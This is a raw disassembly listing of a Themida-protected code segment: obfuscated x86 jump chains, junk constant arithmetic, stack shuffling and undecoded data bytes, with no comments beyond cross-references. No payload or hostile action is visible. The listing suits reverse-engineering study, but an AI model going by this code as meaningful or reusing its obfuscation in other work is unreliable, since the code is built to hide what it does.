add ah, 0FFh sub esp, 2 mov [esp], cx push ebp mov ebp, esp add ebp, 4 jmp loc_5AD50A ; --------------------------------------------------------------------------- loc_5AD0F2: ; CODE XREF: Themida_:005AA93Cj add esp, 4 jmp loc_59D818 ; --------------------------------------------------------------------------- db 89h, 0C1h, 58h dd 0C8BCE01h, 4C48124h, 53000000h, 0C381E389h, 4, 4EB81h dd 1C870000h, 24248B24h, 0BB241C89h, 71B7A78h, 5F6DEB81h dd 0B85006D2h, 14566483h, 0BF0DD8F7h, 257A9D31h, 637E6832h dd 37EDBA52h, 0D03167F0h, 3CC3815Ah, 293F0760h, 3CEB81C3h dd 8B3F0760h, 0AFE92404h, 66000023h, 68240C8Bh, 48C1h dd 0FFC6AFE9h, 124E68FFh, 9BE90000h, 88FFFED5h, 50535BF9h dd 8851A7B4h, 0E9EF88E5h, 0FFFF8190h ; --------------------------------------------------------------------------- loc_5AD188: ; CODE XREF: Themida_:0059E8BCj add dword ptr [esp+4], 27D561EEh sub dword ptr [esp+4], 449223F4h add [esp+4], ebp add dword ptr [esp+4], 449223F4h sub dword ptr [esp+4], 27D561EEh push ebx sub esp, 4 jmp loc_5A1FAD ; --------------------------------------------------------------------------- loc_5AD1B5: ; CODE XREF: Themida_:005A0CECj mov edi, [esp] add esp, 4 push ebx jmp loc_5A3AA2 ; --------------------------------------------------------------------------- db 0ADh, 53h, 89h dd 291468E3h, 0C890000h, 4B924h, 0CB010000h, 4B95159h dd 0E9000000h, 0FFFFF312h ; --------------------------------------------------------------------------- loc_5AD1E0: ; CODE XREF: Themida_:005ACFE6j mov eax, [esp] add esp, 4 add eax, 4 add eax, 2 xchg eax, [esp] jmp loc_5A52F4 ; --------------------------------------------------------------------------- loc_5AD1F8: ; CODE XREF: Themida_:005A4500j and ax, 69Ah sub ax, 0EA78h mov di, ax jmp loc_5A3439 ; --------------------------------------------------------------------------- loc_5AD208: ; CODE XREF: Themida_:005A090Ej sub edx, ebx pop ebx jmp loc_5AF53C ; --------------------------------------------------------------------------- loc_5AD210: ; CODE XREF: Themida_:005A0F87j pop esp jmp loc_5A6501 ; --------------------------------------------------------------------------- loc_5AD216: ; CODE XREF: Themida_:005A5C69j add esp, 4 sub edi, 8D52A52h add edi, 7C4226FAh add edi, ecx sub edi, 7C4226FAh push edx mov edx, 4C9A54F7h shl edx, 7 push ebx mov ebx, 5B3315F4h jmp loc_5999BF ; --------------------------------------------------------------------------- loc_5AD244: ; CODE XREF: Themida_:005ADDEEj pop edi push esi jmp loc_5A5C77 ; --------------------------------------------------------------------------- loc_5AD24B: ; CODE XREF: Themida_:005AF3D8j movzx ecx, al push 7069h mov [esp], ecx jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AD25B: ; CODE XREF: Themida_:0059FC1Fj mov edx, 47282FA3h or ecx, edx mov edx, [esp] add esp, 4 jmp loc_5986EB ; --------------------------------------------------------------------------- loc_5AD26D: ; CODE XREF: Themida_:005A4A6Cj not edi push ecx mov ecx, 47D687C8h sub edi, ecx pop ecx mov eax, edi pop edi add eax, 0FFFFFFFFh shl eax, 1 sub eax, 0FFFFFFFFh and eax, 744619D1h neg eax xor eax, 9D02D103h jmp loc_5A4C78 ; --------------------------------------------------------------------------- loc_5AD296: ; CODE XREF: Themida_:005A8928j push ebx mov ebx, 43D16970h jmp loc_5A08FC ; --------------------------------------------------------------------------- loc_5AD2A1: ; CODE XREF: Themida_:0059C68Ej or cl, 0D6h jnb loc_59D7FD xor cl, 0C4h add bl, cl pop ecx sub bl, 0A7h pop ecx mov ebx, 58905F00h jmp loc_59F6CF ; --------------------------------------------------------------------------- loc_5AD2BE: ; CODE XREF: Themida_:005AAC10j shr ebx, 7 xchg edi, ebx jmp loc_5ADE16 ; --------------------------------------------------------------------------- loc_5AD2C8: ; CODE XREF: Themida_:005A6D7Aj xor ebx, eax mov eax, [esp] sub esp, 4 jmp loc_59EFE8 ; --------------------------------------------------------------------------- db 81h, 6Ch, 24h dd 896A9304h, 247C2954h, 24448104h, 896A9304h, 4815F54h dd 0E0DD224h, 0AAB4E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AD2F6: ; CODE XREF: Themida_:0059F620j xchg ebp, [esp] mov esp, [esp] push ecx push ebx jmp loc_5AED7E ; --------------------------------------------------------------------------- db 87h dd 0A0C681CEh, 0E91D3D07h, 98Ch ; --------------------------------------------------------------------------- loc_5AD310: ; CODE XREF: Themida_:005AC137j mov ebx, ecx mov ecx, [esp] jmp loc_5A360F ; --------------------------------------------------------------------------- loc_5AD31A: ; CODE XREF: Themida_:005A24FFj xor [esp], cx jmp loc_59838C ; --------------------------------------------------------------------------- db 68h dd 3D60h, 0FF4310E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AD32D: ; CODE XREF: Themida_:005A9BFBj pop eax or cl, bl jmp loc_5A2D7B ; --------------------------------------------------------------------------- loc_5AD335: ; CODE XREF: Themida_:00598BE4j push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5AAEF2 ; --------------------------------------------------------------------------- loc_5AD349: ; CODE XREF: Themida_:005A3C01j mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_5A1415 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 0FFC2FBE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AD361: ; CODE XREF: Themida_:0059C947j mov esp, [esp] mov esi, [esp] jmp loc_5AC3BE ; --------------------------------------------------------------------------- dd 1405E42Dh, 7B48051Dh, 0C8297548h, 487B482Dh, 5E40575h dd 74051D14h, 0E95DB97Bh, 0FFFF9668h, 56242C89h, 0FF1F64E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AD395: ; CODE XREF: Themida_:0059F47Fj inc ebx jp loc_5A9531 xor ebx, 983FE4C1h jmp loc_5A271F ; --------------------------------------------------------------------------- loc_5AD3A7: ; CODE XREF: Themida_:005995A7j push 73C53B61h pop edi neg edi jmp loc_5AA2FD ; --------------------------------------------------------------------------- dd 4C481h, 4050000h, 33000000h, 4312404h, 24043324h, 0FF24248Bh dd 50592434h, 405E089h, 0E9000000h, 0FFFF81F0h, 0D1F7595Bh dd 57E9CB87h db 0D0h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AD3E7: ; CODE XREF: Themida_:005ADF6Bj pop edx jmp loc_5AF2B8 ; --------------------------------------------------------------------------- loc_5AD3ED: ; CODE XREF: Themida_:0059CE71j jnz loc_5A83EB sub edx, 9B378B89h mov edx, edi add al, 0FBh loc_5AD3FD: ; CODE XREF: Themida_:005A9A06j mov ebx, [esp] add esp, 4 push edx mov dh, 13h jmp loc_5AF3B8 ; --------------------------------------------------------------------------- loc_5AD40B: ; CODE XREF: Themida_:0059CA1Bj pop ebp jmp loc_5A844E ; --------------------------------------------------------------------------- loc_5AD411: ; CODE XREF: Themida_:005AC1F8j mov ecx, [esp] add esp, 4 xor ecx, 2838E550h mov ebp, ecx mov ecx, [esp] add esp, 4 sub eax, 7F9C4AC4h sub esp, 4 jmp loc_59D397 ; --------------------------------------------------------------------------- loc_5AD438: ; CODE XREF: Themida_:005AEFD9j and ch, 34h jmp loc_59E5E8 ; --------------------------------------------------------------------------- loc_5AD440: ; CODE XREF: Themida_:005A13CDj xchg edi, [esp] not edi xchg edi, [esp] pop ebx xchg ebx, edx inc edx neg edx shr edx, 1 xor edx, 377589B1h add ebp, edx pop edx add ebp, 4 xchg ebp, [esp] pop esp sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 sub esp, 4 mov [esp], ecx push 4 mov ecx, [esp] add esp, 4 add eax, ecx pop ecx xor eax, [esp] jmp loc_5A5EB6 ; --------------------------------------------------------------------------- dw 0E946h dd 0FFFFE685h, 0A96E8C0Fh, 0E381FFFFh, 7ACA5BD5h, 577E890Fh dd 0C28AFFFFh db 52h ; --------------------------------------------------------------------------- loc_5AD4AD: ; CODE XREF: Themida_:005AE6F2j ; Themida_:005AF29Dj jns loc_59A00F push ebp mov ebp, 0ED060D3h neg ebp mov edi, edi pop ebx add ebp, 4 sub esp, 4 mov [esp], edi mov edi, esp push eax jmp loc_5AB8C4 ; --------------------------------------------------------------------------- loc_5AD4D2: ; CODE XREF: Themida_:005A051Aj push dword ptr [esp] pop eax jmp loc_5A198E ; --------------------------------------------------------------------------- loc_5AD4DB: ; CODE XREF: Themida_:005A9084j pop eax sub esp, 4 mov [esp], ecx mov ecx, 24E47F55h jmp loc_5A9EA7 ; --------------------------------------------------------------------------- loc_5AD4EF: ; CODE XREF: Themida_:005A9CFEj sub edi, edx pop edx jmp loc_59F896 ; --------------------------------------------------------------------------- loc_5AD4F7: ; CODE XREF: Themida_:0059D39Aj mov edx, 285347BDh sub edx, 0C080D656h add eax, edx pop edx jmp loc_59DC43 ; --------------------------------------------------------------------------- loc_5AD50A: ; CODE XREF: Themida_:005AD0EDj sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax mov ah, 1Eh jmp loc_59D233 ; --------------------------------------------------------------------------- loc_5AD51E: ; CODE XREF: Themida_:0059B02Ej mov ecx, [esp] add esp, 4 shl ebp, 6 sub ebp, 69D9DE1Eh sub ecx, ebp pop ebp jmp loc_5A0615 ; --------------------------------------------------------------------------- dd 0B768h, 24348900h, 1C2CA2BEh, 1C6835Dh, 191FE681h, 0D6F779F7h dd 5607EEC1h, 72B68h, 243C8900h, 42474FFh, 83243C8Bh, 48F04C4h dd 0D6E95724h db 0ABh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AD56F: ; CODE XREF: Themida_:0059D778j pop ebp push edi push esp pop edi jmp loc_5A2BF0 ; --------------------------------------------------------------------------- loc_5AD578: ; CODE XREF: Themida_:0059A57Cj sub esi, edi mov edi, [esp] jmp loc_5A2834 ; --------------------------------------------------------------------------- loc_5AD582: ; CODE XREF: Themida_:005A757Dj add edi, 4 xchg edi, [esp] pop esp xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] push 1D1Ch mov [esp], esi jmp loc_5AA4AA ; --------------------------------------------------------------------------- loc_5AD5A5: ; CODE XREF: Themida_:005A10A4j pop ebx mov ebx, [esp] add esp, 4 xor ebx, eax jmp loc_5A9636 ; --------------------------------------------------------------------------- loc_5AD5B3: ; CODE XREF: Themida_:005A3942j sub al, 76h pop ebx mov ch, al jmp loc_5A8AC7 ; --------------------------------------------------------------------------- loc_5AD5BD: ; CODE XREF: Themida_:005A737Aj push ebx xor dword ptr [esp], 2ACC75DBh pop eax xor eax, 2ACC75DBh pop ebx push ebp mov ebp, 77A40590h shl ebp, 6 jmp loc_5AB977 ; --------------------------------------------------------------------------- loc_5AD5DA: ; CODE XREF: Themida_:005A7167j add ecx, 776F54E4h mov edx, [esp] add esp, 4 add ecx, ebx push esi mov esi, 30982FEFh add esi, 749E3435h add esi, 0C722B4C0h jmp loc_5ADA51 ; --------------------------------------------------------------------------- db 2Dh dd 291730EDh, 0FFAEFEE9h, 0C8B66FFh, 432D6824h, 1C890000h dd 4EC8324h, 89240C89h, 324668E1h, 0F3E90000h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AD627: ; CODE XREF: Themida_:00598C02j pop edi jmp loc_59C177 ; --------------------------------------------------------------------------- loc_5AD62D: ; CODE XREF: Themida_:005ACA0Fj pop ebx pop dword ptr [esp] pop esp push ecx mov ecx, 46260EBFh inc ecx inc ecx sub ecx, 0F2C0AAFh jmp loc_5A08D3 ; --------------------------------------------------------------------------- loc_5AD645: ; CODE XREF: Themida_:005ACAB7j push dword ptr [esp] pop eax add esp, 4 add esi, 4 push esi jmp loc_5A70D8 ; --------------------------------------------------------------------------- db 87h dd 0EC8356F3h, 24048904h, 0D0F7585Eh, 31F33196h, 0E9F331DEh dd 0FFFF29F6h ; --------------------------------------------------------------------------- loc_5AD674: ; CODE XREF: Themida_:loc_598510j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] jmp loc_5A386A ; --------------------------------------------------------------------------- loc_5AD686: ; CODE XREF: Themida_:005A1603j add al, dh pop edx sub al, dh push dx jmp loc_59AB50 ; --------------------------------------------------------------------------- loc_5AD692: ; CODE XREF: Themida_:005A2EB7j not cx push si mov si, 9CECh xor cx, si pop si and di, cx pop ecx inc di push ebp mov bp, 5C9h add bp, 2171h xor bp, 3A67h shl bp, 7 xor bp, 6018h jmp loc_59A4DC ; --------------------------------------------------------------------------- loc_5AD6C3: ; CODE XREF: Themida_:005ADBE5j mov [esp], edx mov edx, 3FAF6C23h xor edx, 10D21ACFh add eax, edx jmp loc_5AD9D5 ; --------------------------------------------------------------------------- dd 8106EFC1h, 28EE98EFh, 0F8685084h, 58123376h, 0FF15FBE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AD6ED: ; CODE XREF: Themida_:005A46FDj xor ebx, ebp pop ebp shr ebx, 1 sub esp, 4 mov [esp], eax mov eax, 51AB543Ch jmp loc_5AA61B ; --------------------------------------------------------------------------- loc_5AD705: ; CODE XREF: Themida_:005A9135j pop eax add esp, 4 add esp, 4 push eax jmp loc_5A4587 ; --------------------------------------------------------------------------- loc_5AD718: ; CODE XREF: Themida_:0059C498j jmp loc_59BE24 ; --------------------------------------------------------------------------- loc_5AD71D: ; CODE XREF: Themida_:005A4BDDj push 3EA7h mov [esp], eax jmp loc_5A8759 ; --------------------------------------------------------------------------- dw 0EC83h dd 24348904h, 3868E689h, 0E900003Ch, 0FFFFB30Ch ; --------------------------------------------------------------------------- loc_5AD73C: ; CODE XREF: Themida_:005AF522j jmp loc_5A7D5E ; --------------------------------------------------------------------------- loc_5AD741: ; CODE XREF: Themida_:0059EFEBj mov esi, esp jmp loc_5AB304 ; --------------------------------------------------------------------------- loc_5AD748: ; CODE XREF: Themida_:005995C1j xor eax, [esp] mov esp, [esp] or edx, eax shl edx, 1 push 3E28h mov [esp], ecx push ebx jmp loc_5AEF85 ; --------------------------------------------------------------------------- loc_5AD760: ; CODE XREF: Themida_:005A97ABj add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5ADBD2 ; --------------------------------------------------------------------------- loc_5AD775: ; CODE XREF: Themida_:005A7516j ; Themida_:005AE849j push 2F296BECh push dword ptr [esp] pop eax push eax jmp loc_59C4C4 ; --------------------------------------------------------------------------- loc_5AD784: ; CODE XREF: Themida_:0059D8EEj mov esp, [esp] xor [esp], al pushf jmp loc_59838C ; --------------------------------------------------------------------------- dd 0FF3270E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AD795: ; CODE XREF: Themida_:005A468Fj push ebx mov ebx, 4 add edi, ebx jmp loc_59E636 ; --------------------------------------------------------------------------- loc_5AD7A2: ; CODE XREF: Themida_:005A355Dj sub esi, 1543371Ch inc esi jle loc_5A1B4D shr esi, 6 or esi, 60EA5893h jl loc_5AB0EF add esi, 0BA7A94D8h push edx mov edx, 1 sub esi, edx pop edx push ecx mov ecx, 554F0205h inc ecx xor ecx, 34E99E12h xor esi, ecx pop ecx add eax, 44120DF8h jmp loc_5A1FA6 ; --------------------------------------------------------------------------- loc_5AD7E7: ; CODE XREF: Themida_:00599602j ; Themida_:005A2977j and ecx, 303105D2h xchg eax, ecx jmp loc_5A6267 ; --------------------------------------------------------------------------- loc_5AD7F3: ; CODE XREF: Themida_:005AF147j add ebx, 33B94023h add ebx, eax jmp loc_5A8B5E ; --------------------------------------------------------------------------- loc_5AD800: ; CODE XREF: Themida_:005A2C7Ej pop esi push ecx mov ecx, esp push esi mov esi, 1B0B5A1Eh jmp loc_5A0A15 ; --------------------------------------------------------------------------- loc_5AD80F: ; CODE XREF: Themida_:005A5EB1j dec dword ptr [esp] pushf jmp loc_5A1D29 ; --------------------------------------------------------------------------- dd 0DAF6DAF6h, 831EF280h, 148904ECh, 68B55124h, 0FE29E580h dd 0F800FCDh, 0C0FFFEC3h, 840F05EDh, 0FFFF066Ah, 8E0FDDF6h dd 0FFFF07D1h, 4FE9DDF6h, 80FFFFCCh, 0E980D4E9h db 6 ; --------------------------------------------------------------------------- loc_5AD851: ; CODE XREF: Themida_:005A544Ej push ebp mov ebp, 2DFE17A6h and ebp, 58E36892h not ebp inc ebp add ebp, 63BC6E11h xor ebp, 8CEF85C9h add esi, ebp pop ebp add [esp+4], esi pop esi pop eax push ebx mov ebx, 6E152ADAh sub ebx, 63740B44h jmp loc_5AA214 ; --------------------------------------------------------------------------- loc_5AD886: ; CODE XREF: Themida_:005A3AADj or edx, 6A097AC9h dec edx add edx, 10102E9Dh dec edx shl edx, 5 sub esp, 4 mov [esp], ebp mov ebp, 711F7E09h push ebp jmp loc_59CB42 ; --------------------------------------------------------------------------- loc_5AD8AB: ; CODE XREF: Themida_:0059CBFFj sub edx, 3C8B7D1Eh sub edx, 76DD20F7h xor edx, 0BB5FDE92h xor edx, 4A40084Ah sub edx, 0FFFFFFFFh jmp loc_5A21CF ; --------------------------------------------------------------------------- loc_5AD8CE: ; CODE XREF: Themida_:005A08CEj push 5D1Ah jmp loc_5A9FE9 ; --------------------------------------------------------------------------- dd 6A95EE81h, 0F5898C44h, 0E155BA5Eh, 0EA01AD8Fh, 32C4E95Dh dd 850FFFFFh, 0FFFF46ADh, 0FF950AE9h, 0E9F029FFh, 0FFFFA96Ch dd 815EF501h, 5CD66AF5h, 0E9EE2980h, 0FFFEF3D5h ; --------------------------------------------------------------------------- loc_5AD910: ; CODE XREF: Themida_:0059A357j mov [esp], esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 jmp loc_5A4D8A ; --------------------------------------------------------------------------- dw 0EEC1h dd 423E906h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AD92A: ; CODE XREF: Themida_:loc_5AC242j shr eax, 4 jnz loc_59B8F5 jmp loc_59C0BB ; --------------------------------------------------------------------------- dd 57240C89h, 3E2C152h, 0FF53B7E9h, 4C483FFh, 7ACDCD81h dd 0D5F704F1h, 801EB850h, 0C529FA0Eh, 0E924048Bh, 0FFFEBFF4h ; --------------------------------------------------------------------------- loc_5AD960: ; CODE XREF: Themida_:005A6D07j push ecx jmp loc_5A9968 ; --------------------------------------------------------------------------- loc_5AD966: ; CODE XREF: Themida_:005AF236j xor edi, [esp] pop esp jmp loc_5A0744 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF75CDh ; --------------------------------------------------------------------------- loc_5AD974: ; CODE XREF: Themida_:005AA98Cj and esi, 10EC2250h jno loc_5ABD98 not esi not esi jmp loc_5A0925 ; --------------------------------------------------------------------------- db 59h ; --------------------------------------------------------------------------- loc_5AD98A: ; CODE XREF: Themida_:005A9508j sub esp, 4 mov [esp], eax mov eax, 45DD0A63h jmp loc_5AC8BC ; --------------------------------------------------------------------------- loc_5AD99D: ; CODE XREF: Themida_:005A5A9Dj sub edx, 10451200h jmp loc_5A4D39 ; --------------------------------------------------------------------------- loc_5AD9A8: ; CODE XREF: Themida_:005A1DD3j add ecx, edx sub ecx, 309772F3h push edx mov edx, 0 add edx, ecx jmp loc_59C37F ; --------------------------------------------------------------------------- loc_5AD9BD: ; CODE XREF: Themida_:0059ED55j add ecx, edx jmp loc_59EC83 ; --------------------------------------------------------------------------- loc_5AD9C4: ; CODE XREF: Themida_:005A0654j add ebx, 1 add ebx, 87F87BD1h jmp loc_5A8C1F ; --------------------------------------------------------------------------- loc_5AD9D5: ; CODE XREF: Themida_:005AD6D3j pop edx add eax, edi jmp loc_5A0E67 ; --------------------------------------------------------------------------- loc_5AD9DD: ; CODE XREF: Themida_:005A4DC6j xor edi, esi jmp loc_5ABA27 ; --------------------------------------------------------------------------- loc_5AD9E4: ; CODE XREF: Themida_:005A0748j mov [esp], ecx jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AD9EC: ; CODE XREF: Themida_:005A6737j sub ebp, 57B96C82h jmp loc_5A5D5F ; --------------------------------------------------------------------------- loc_5AD9F7: ; CODE XREF: Themida_:005A3844j sub edi, 6F62CDCh add edi, eax add edi, 6F62CDCh mov eax, [esp] add esp, 4 dec edi add edi, 49AEBFFh or ebx, edi pop edi sub ebx, 5FDB136Ch sub [edi+24h], ebx jmp loc_5AAFCE ; --------------------------------------------------------------------------- loc_5ADA23: ; CODE XREF: Themida_:005A682Aj mov eax, ecx jmp loc_59F73C ; --------------------------------------------------------------------------- aIiyh5 db 'λYhΜ5',0 align 2 dw 15E9h db 10h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ADA37: ; CODE XREF: Themida_:005A54E5j add ebx, 4 xchg ebx, [esp] pop esp xor eax, ecx xor ecx, eax xor eax, ecx push 74A2h jmp loc_59DC83 ; --------------------------------------------------------------------------- loc_5ADA51: ; CODE XREF: Themida_:0059A6BCj ; Themida_:005AD5FAj add ecx, esi pop esi sub ecx, 61022087h push dword ptr [esp] pop ebx push eax mov eax, esp push ebx jmp loc_5AA014 ; --------------------------------------------------------------------------- loc_5ADA67: ; CODE XREF: Themida_:005A0810j sub bl, 41h jmp loc_59C2AD ; --------------------------------------------------------------------------- loc_5ADA6F: ; CODE XREF: Themida_:005A8C21j push dword ptr [esp] pop ebx jmp loc_5AE082 ; --------------------------------------------------------------------------- dd 4EC81h, 2C890000h, 0E95D5424h, 0FFFF9746h, 258BE56h dd 99E91239h db 38h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ADA93: ; CODE XREF: Themida_:005A27A2j mov [esp], cx push edx jmp loc_5A6357 ; --------------------------------------------------------------------------- loc_5ADA9D: ; CODE XREF: Themida_:0059E172j pop eax sub dword ptr [esp+4], 7A7D7A3Fh add dword ptr [esp+4], 6A2E5B75h add [esp+4], ebx push ecx mov ecx, 6A2E5B75h sub [esp+8], ecx pop ecx push ebp mov ebp, 7A7D7A3Fh add [esp+8], ebp pop ebp jmp loc_5A12D1 ; --------------------------------------------------------------------------- db 5Ah, 29h, 0F0h dd 2404335Eh, 33240431h, 11E92404h db 17h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ADADF: ; CODE XREF: Themida_:005AB9ABj add esi, eax sub esi, 2C477FDAh mov eax, [esp] add esp, 4 push 220Ah mov [esp], ecx mov ecx, 2 add esi, ecx pop ecx push 31AEh mov [esp], esi push dword ptr [esp+4] jmp loc_5AB704 ; --------------------------------------------------------------------------- loc_5ADB0E: ; CODE XREF: Themida_:005A5B7Aj mov [esp], ebp jmp loc_5A5A3C ; --------------------------------------------------------------------------- dw 0C888h dd 88C18851h, 1EE959CFh db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ADB23: ; CODE XREF: Themida_:005A74DBj mov esi, 7E1C2E7Fh push eax mov eax, 414B3D5Ah or eax, 95954EBh add eax, 25B8907Dh jmp loc_5AA491 ; --------------------------------------------------------------------------- db 57h, 0FFh, 74h dd 34FF0424h, 89525F24h, 4C281E2h, 55000000h, 4BDh, 5DEA0100h dd 5C241487h, 0E924048Fh, 0FFFF2B24h ; --------------------------------------------------------------------------- loc_5ADB64: ; CODE XREF: Themida_:005AD0ACj mov ebx, ecx pop ecx jmp loc_59DF00 ; --------------------------------------------------------------------------- loc_5ADB6C: ; CODE XREF: Themida_:005AC2B0j push 0C14h mov [esp], esi mov esi, 2 jmp loc_5A8633 ; --------------------------------------------------------------------------- dw 440Ch dd 0B588830Fh, 804FFFEh, 0FFFB4BE9h, 243C8BFFh, 4D0579BEh dd 8BF531B1h, 21E92434h, 0BAFFFF90h, 78005B2Ch, 0F6E9D2F7h db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ADBAB: ; CODE XREF: Themida_:005A475Ej mov [esp], edi push 3907h mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx mov edx, 42E949E8h jmp loc_5AACD9 ; --------------------------------------------------------------------------- loc_5ADBD2: ; CODE XREF: Themida_:005AD770j add ebx, 27954C3Eh jmp loc_5AF1EA ; --------------------------------------------------------------------------- loc_5ADBDD: ; CODE XREF: Themida_:0059A7BAj ; Themida_:loc_59D4FEj ... sub eax, esi pop esi push 6A73h jmp loc_5AD6C3 ; --------------------------------------------------------------------------- loc_5ADBEA: ; CODE XREF: Themida_:005A05B5j add edi, 1B748BEFh sub edi, 4E284FD3h not edi not edi jmp loc_5A1406 ; --------------------------------------------------------------------------- loc_5ADBFF: ; CODE XREF: Themida_:005ADF25j push ecx jmp loc_5A4463 ; --------------------------------------------------------------------------- db 68h, 9Fh, 1Bh dd 34890000h, 751BE924h, 34FFFFFFh, 2434FF24h, 0E924048Bh dd 0FFFF10EFh ; --------------------------------------------------------------------------- loc_5ADC20: ; CODE XREF: Themida_:005A6E94j shl al, 8 jmp loc_59F42A ; --------------------------------------------------------------------------- dd 40E9F001h, 54FFFFE5h, 0EE35E95Fh, 8B66FFFFh, 7D68240Ch dd 8900004Dh, 0EC81241Ch, 4, 81242489h, 42404h, 90E90000h dd 5DFFFFABh, 0FFFE70E9h db 0FFh ; --------------------------------------------------------------------------- loc_5ADC5D: ; CODE XREF: Themida_:005A49F0j push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp pop dword ptr [esp] pop esp shl byte ptr [esp], cl pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5ADC74: ; CODE XREF: Themida_:loc_59CF0Bj ; Themida_:005A8A71j add ch, 2Fh jmp loc_59ED68 ; --------------------------------------------------------------------------- loc_5ADC7C: ; CODE XREF: Themida_:005AF365j mov al, [esp] add esp, 2 shl al, 6 jmp loc_5A4694 ; --------------------------------------------------------------------------- loc_5ADC8A: ; CODE XREF: Themida_:0059B80Cj pop ebp sub edx, 4 xor edx, [esp] xor [esp], edx jmp loc_5ABFCB ; --------------------------------------------------------------------------- dd 0E908EEC1h, 0FFFFF7EEh, 68242C89h, 2103h, 24048F54h dd 4240483h, 6DF6685Dh, 5EE90000h db 43h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ADCBF: ; CODE XREF: Themida_:0059E38Aj xor [esp], ebx xor ebx, [esp] xor [esp], ebx jmp loc_5A477A ; --------------------------------------------------------------------------- loc_5ADCCD: ; CODE XREF: Themida_:0059C12Ej sub ebp, edx pop edx mov ebx, ebp pop ebp jmp loc_5AC7D8 ; --------------------------------------------------------------------------- dd 51240489h, 0EC88DD88h, 0FFE6E3E9h db 0FFh ; --------------------------------------------------------------------------- loc_5ADCE5: ; CODE XREF: Themida_:005A1219j sub bl, cl mov ecx, [esp] add esp, 4 pop ecx push 19E7h mov [esp], eax mov ah, 0EAh sub bl, 0CDh jmp loc_5A185C ; --------------------------------------------------------------------------- loc_5ADD00: ; CODE XREF: Themida_:0059FA28j pop ebx jmp loc_5ACFD9 ; --------------------------------------------------------------------------- loc_5ADD06: ; CODE XREF: Themida_:005AA36Cj add edx, 4 jmp loc_59B850 ; --------------------------------------------------------------------------- loc_5ADD11: ; CODE XREF: Themida_:005A5834j sub al, 0FDh mov bx, [esp] add esp, 2 push edi mov edi, esp jmp loc_5A60B2 ; --------------------------------------------------------------------------- loc_5ADD25: ; CODE XREF: Themida_:005A3621j pop dword ptr [esp] mov esp, [esp] imul cx, ax push cx pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5ADD37: ; CODE XREF: Themida_:005ACC1Dj xchg ebp, esi xor esi, 32E26BD2h or esi, 10D86634h push eax mov eax, 270A6C93h or esi, eax mov eax, [esp] jmp loc_5A37BF ; --------------------------------------------------------------------------- db 29h, 0D1h, 0E9h dd 0FFFFF87Eh, 4EC81h, 4890000h, 0E9E08924h, 0FFFF7F34h ; --------------------------------------------------------------------------- loc_5ADD6C: ; CODE XREF: Themida_:005A4835j push ebx push 6753h mov [esp], ecx mov ecx, 486D4833h jmp loc_5A2655 ; --------------------------------------------------------------------------- loc_5ADD7F: ; CODE XREF: Themida_:005A78BEj shl edx, 5 jnz loc_5A81CE add edx, 2BD43C69h mov ah, bh mov bh, bh loc_5ADD92: ; CODE XREF: Themida_:005ADFE0j push ebp jmp loc_5A54DD ; --------------------------------------------------------------------------- dd 24048B66h, 0FF178BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5ADDA1: ; CODE XREF: Themida_:0059B752j add ax, di pop edi push 6DFCh mov [esp], esi mov si, 307Fh add si, 4F66h sub ax, si pop esi sub ax, 7E50h pop edx push 0C31h mov [esp], ecx jmp loc_5ABCC6 ; --------------------------------------------------------------------------- dd 30F0BE56h, 0EE8105C8h, 5C830ECh, 555EF301h, 0DD23D2BDh dd 0ADE94D0Fh db 83h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ADDE7: ; CODE XREF: Themida_:005AA7AEj mov edi, 268365B5h xor ebx, edi jmp loc_5AD244 ; --------------------------------------------------------------------------- loc_5ADDF3: ; CODE XREF: Themida_:005A27C3j mov ecx, 5BCB57A3h jmp loc_5A5BC1 ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 0D259669Dh, 0E99C241Ch, 0FFFEA580h, 7A0997B8h, 865AE97Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ADE16: ; CODE XREF: Themida_:005AD2C3j push edi jmp loc_59DCEF ; --------------------------------------------------------------------------- loc_5ADE1C: ; CODE XREF: Themida_:0059F7A8j bts [esp], ax pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5ADE27: ; CODE XREF: Themida_:00599199j ; Themida_:005A5983j sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi push 54083658h push dword ptr [esp] mov esi, [esp] push eax mov eax, esp add eax, 4 push edi mov edi, 862EDBh jmp loc_5A58CF ; --------------------------------------------------------------------------- dw 48Bh dd 0E2895224h, 4B850h, 7AE90000h db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ADE63: ; CODE XREF: Themida_:0059D5B3j pop dword ptr [esp] jmp loc_5A7395 